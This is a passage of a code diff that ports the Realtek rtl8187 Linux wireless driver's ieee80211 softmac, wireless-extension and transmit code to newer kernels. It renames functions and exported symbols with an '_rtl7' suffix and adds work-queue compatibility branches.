ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); + ieee80211_reset_queue_rtl7(ieee); if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; @@ -1986,12 +2018,12 @@ */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); spin_lock_irqsave(&ieee->lock, flags); if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -1999,14 +2031,14 @@ up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_probe_resp(ieee, broadcast_addr); + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); if (!skb) return NULL; @@ -2018,12 +2050,12 @@ } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if(!skb) return NULL; @@ -2038,44 +2070,44 @@ return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; ieee->proto_started = 0; - ieee80211_stop_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; @@ -2094,9 +2126,7 @@ if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2109,21 +2139,18 @@ */ if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); @@ -2143,7 +2170,7 @@ ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; @@ -2153,25 +2180,34 @@ init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); #else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); @@ -2179,12 +2215,12 @@ spin_lock_init(&ieee->beacon_lock); tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); @@ -2201,7 +2237,7 @@ ********************************************************/ -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2211,16 +2247,16 @@ } -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { int ret = 0; @@ -2231,7 +2267,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2279,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,14 +2303,14 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { struct ieee80211_security sec = { @@ -2300,13 +2336,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2387,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,7 +2404,7 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; @@ -2407,7 +2443,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2457,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2478,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2561,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2552,20 +2588,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2585,7 +2621,7 @@ return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2633,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c 2007-02-26 03:05:16.011549039 +0100 @@ -18,7 +18,7 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { +const long ieee80211_wlan_frequencies_rtl7[] = { 2412, 2417, 2422, 2427, 2432, 2437, 2442, 2447, 2452, 2457, 2462, 2467, @@ -26,7 +26,7 @@ }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; @@ -46,7 +46,7 @@ int f = fwrq->m / 100000; int c = 0; - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; /* hack to fall through */ @@ -68,8 +68,8 @@ if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -95,7 +95,7 @@ return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -124,7 +124,7 @@ } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) @@ -134,14 +134,14 @@ u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - struct sockaddr *temp = (struct sockaddr *)awrq; - + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; @@ -154,7 +154,7 @@ } if (ifup) - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); /* just to avoid to give inconsistent infos in the * get wx method. not really needed otherwise @@ -167,14 +167,14 @@ spin_unlock_irqrestore(&ieee->lock, flags); if (ifup) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); return ret; } - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; @@ -209,7 +209,7 @@ } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -223,7 +223,7 @@ -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -233,7 +233,7 @@ return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -245,8 +245,7 @@ goto out; if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } @@ -254,9 +253,9 @@ if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); } out: @@ -264,8 +263,14 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) { +#endif short chan; chan = ieee->current_network.channel; @@ -275,12 +280,12 @@ if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - ieee80211_stop_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); ieee->set_chan(ieee->dev, chan); @@ -291,7 +296,7 @@ ieee->data_hard_resume(ieee->dev); if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); + ieee80211_start_send_beacons_rtl7(ieee); netif_carrier_on(ieee->dev); @@ -299,7 +304,7 @@ } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; @@ -322,7 +327,7 @@ return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { @@ -348,7 +353,7 @@ } if(proto_started) - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise @@ -371,13 +376,13 @@ spin_unlock_irqrestore(&ieee->lock, flags); if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,7 +390,7 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -422,7 +427,7 @@ return 0; } -int ieee80211_wx_get_name(struct ieee80211_device *ieee, +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -446,7 +451,7 @@ /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -509,7 +514,7 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -547,19 +552,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_txpower/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_tx.c 2007-02-26 03:05:16.011549039 +0100 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" @@ -155,7 +158,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +181,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +228,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +238,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +270,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +400,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +435,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +449,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +461,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +485,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +508,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_txpower/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_wx.c 2007-02-26 03:05:16.071549944 +0100 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT 